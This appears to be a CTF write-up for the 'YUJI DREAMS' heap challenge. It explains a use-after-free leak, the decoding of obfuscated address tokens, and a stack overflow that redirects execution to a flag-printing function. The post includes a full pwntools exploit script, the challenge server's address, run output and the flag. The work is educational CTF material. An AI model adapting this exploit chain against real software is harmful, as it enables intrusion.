Skip to main content
YUJI DREAMS - CTF Writeup
  1. Writeups/
  2. CyberSummit V4.0 - CTF Writeups/
  3. Binary Exploitation/

YUJI DREAMS - CTF Writeup

·897 words·5 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: YUJI DREAMS
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Yuji got fed up from his dreams, so he kept notes of everything in this cursed heap lab. The notes leak fragments of memory, and if you resonate with the archive correctly, the sealed truth reveals itself.
Connection: nc 172.205.208.94 9003


Challenge Overview
#

This challenge is a three-stage heap exploitation chain themed around Yuji’s “dream notes”:

  1. Trigger a UAF leak to recover the hidden internal seed.
  2. Decode oracle tokens to recover PIE and libc bases.
  3. Pass admin authentication and exploit the final overflow to jump into do_orw.

The binary is intentionally designed so each stage unlocks the next one. If seed recovery fails, oracle decoding fails. If oracle decoding fails, the final control-flow pivot is blind.

Files handed in the challenge: chall, libc.so.6, and ld-linux-x86-64.so.2.

Initial Reconnaissance
#

Service Flow
#

The menu exposes six relevant actions:

  • allocate/edit/show/free heap slots
  • query a “probe oracle”
  • access an “admin console”

From reversing, two behaviors stand out immediately:

  1. Freed pointers are not cleared from the slot table (UAF surface).
  2. Admin console reads up to 0x300 bytes into a 0x80 stack buffer (classic stack overflow), but only after auth succeeds.

Important Internal Objects
#

  • leak_seed: lazily initialized from freed-chunk metadata
  • oracle probe 0: obfuscated pointer to main (PIE leak)
  • oracle probe 1: obfuscated pointer to stdout (libc leak)
  • auth probe 31337: checks a value derived from leak_seed

Vulnerability Analysis
#

1) UAF Leak -> Seed Recovery
#

The first free of a chunk preserves a stale pointer in slots[idx] and uses freed metadata to initialize leak_seed.

Because show still prints from the stale pointer, reading 16 bytes from the freed chunk leaks enough data to reconstruct the seed.

Solver-side reconstruction:

leak_seed = ((key_leak * 0x9E3779B97F4A7C15) ^ 0x13371337C0DEC0DE) & ((1 << 64) - 1)

2) Oracle Token Decoding -> PIE + libc
#

After seed recovery, probe oracle returns obfuscated tokens plus a consistency check.

  • probe 0: token for &main
  • probe 1: token for stdout

Key derivation:

k1 = leak_seed ^ 0xA55A7EED5A5AF00D
k2 = rol64(leak_seed, 17) ^ 0x0DDF00DBADC0FFEE

Token decoding:

main_addr = pie_token ^ ((k1 + nonce * 0x1337) & MASK64)
stdout_addr = libc_token ^ ((k2 + nonce * 0x1337) & MASK64)

Then:

elf.address = (main_addr - MAIN_OFF) & ~0xFFF
libc.address = stdout_addr - libc.sym["_IO_2_1_stdout_"]

3) Admin Auth + Stack Overflow -> Ret2win ORW
#

Admin path is gated by:

auth_value = (leak_seed >> 7) ^ 0x6B8B4567327B23C6

Once authenticated, do_admin_console performs:

char buf[0x80];
read(0, buf, 0x300);

The exploit overwrites RIP with elf.address + DO_ORW_OFF after 0x88 bytes of padding.

do_orw opens and prints the flag directly, making this a clean ret2win/ORW pivot without needing shellcode.

Exploitation Strategy
#

Why This Chain Works
#

  1. UAF leak provides deterministic seed recovery.
  2. Seed unlocks deterministic oracle decoding for both PIE and libc.
  3. Correct auth unlocks the final overflow sink.
  4. Known PIE base gives a stable jump target to do_orw.

Payload Shape
#

[0x88 bytes padding][p64(elf.address + DO_ORW_OFF)]

No complex ROP chain is needed because the binary already contains the helper that performs open/read/write.

Exploit Code
#

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("../dlist/chall", checksec=False)
libc = ELF("../dlist/libc.so.6", checksec=False)

SEED_MUL = 0x9E3779B97F4A7C15
SEED_XOR = 0x13371337C0DEC0DE
K1_XOR = 0xA55A7EED5A5AF00D
K2_XOR = 0x0DDF00DBADC0FFEE
MASK64 = (1 << 64) - 1

CHUNK_SZ = 0x2F0
DO_ORW_OFF = 0x1AB0
MAIN_OFF = 0x11C0


def rol64(x, n):
 return ((x << n) | (x >> (64 - n))) & MASK64


def start():
 if args.LOCAL:
  return process(["../dlist/ld-linux-x86-64.so.2", "--library-path", "../dlist", "../dlist/chall"])
 host = args.HOST or "172.205.208.94"
 port = int(args.PORT or 9003)
 return remote(host, port)


def menu(io, c):
 io.sendlineafter(b"> \n", str(c).encode())


def alloc(io, idx, size, data=b""):
 menu(io, 1)
 io.sendlineafter(b"idx:\n", str(idx).encode())
 io.sendlineafter(b"size:\n", str(size).encode())
 io.sendlineafter(b"init_len:\n", str(len(data)).encode())
 if data:
  io.sendafter(b"data:\n", data)


def show(io, idx, n):
 menu(io, 3)
 io.sendlineafter(b"idx:\n", str(idx).encode())
 io.sendlineafter(b"len:\n", str(n).encode())
 data = io.recvn(n)
 io.recvline()
 return data


def free(io, idx):
 menu(io, 4)
 io.sendlineafter(b"idx:\n", str(idx).encode())


def probe(io, probe_id, nonce):
 menu(io, 5)
 io.sendlineafter(b"probe id:\n", str(probe_id).encode())
 io.sendlineafter(b"nonce:\n", str(nonce).encode())
 io.recvuntil(b"token: ")
 token = int(io.recvline().strip(), 16)
 io.recvuntil(b"check: ")
 check = int(io.recvline().strip(), 16)
 return token, check


def auth(io, value):
 menu(io, 5)
 io.sendlineafter(b"probe id:\n", b"31337")
 io.sendlineafter(b"auth:\n", str(value).encode())
 return io.recvline().strip()


def pwn():
 io = start()

 alloc(io, 0, CHUNK_SZ, b"A" * 8)
 free(io, 0)
 meta = show(io, 0, 16)
 key_leak = u64(meta[8:16])

 leak_seed = ((key_leak * SEED_MUL) ^ SEED_XOR) & MASK64
 k1 = leak_seed ^ K1_XOR
 k2 = rol64(leak_seed, 17) ^ K2_XOR

 nonce = 0x1337
 pie_token, _ = probe(io, 0, nonce)
 libc_token, _ = probe(io, 1, nonce)

 main_addr = pie_token ^ ((k1 + nonce * 0x1337) & MASK64)
 elf.address = (main_addr - MAIN_OFF) & ~0xFFF

 stdout_addr = libc_token ^ ((k2 + nonce * 0x1337) & MASK64)
 libc.address = stdout_addr - libc.sym["_IO_2_1_stdout_"]

 auth_value = (leak_seed >> 7) ^ 0x6B8B4567327B23C6
 assert b"auth ok" in auth(io, auth_value)

 payload = b"A" * 0x88 + p64(elf.address + DO_ORW_OFF)
 menu(io, 6)
 io.sendafter(b"admin payload:\n", payload)
 io.interactive()


if __name__ == "__main__":
 pwn()

Execution
#

$ python3 solve.py REMOTE HOST=172.205.208.94 PORT=9003
[+] Opening connection to 172.205.208.94 on port 9003: Done
[*] libc base = 0x741e0e315120
[*] seed      = 0x9dfab29ae280818e
[*] Loaded 255 cached gadgets for '../dlist/libc.so.6'
done
CyberTrace{H4rD_0R_N0t_Wh0_C4r3s_47_L3aS7_You_W3rE_H3re_67}

[*] Closed connection to 172.205.208.94 port 9003

Final Flag
#

CyberTrace{H4rD_0R_N0t_Wh0_C4r3s_47_L3aS7_You_W3rE_H3re_67}

Key Takeaways
#

  1. UAF pointer retention can expose allocator metadata even without a direct pointer leak primitive.
  2. Lightweight oracle obfuscation collapses once the shared seed is recovered.
  3. Auth-gated bug paths are still exploitable if the auth computation is reversible.
  4. A single stable ret2win target is often enough; full ROP is not always required.

Related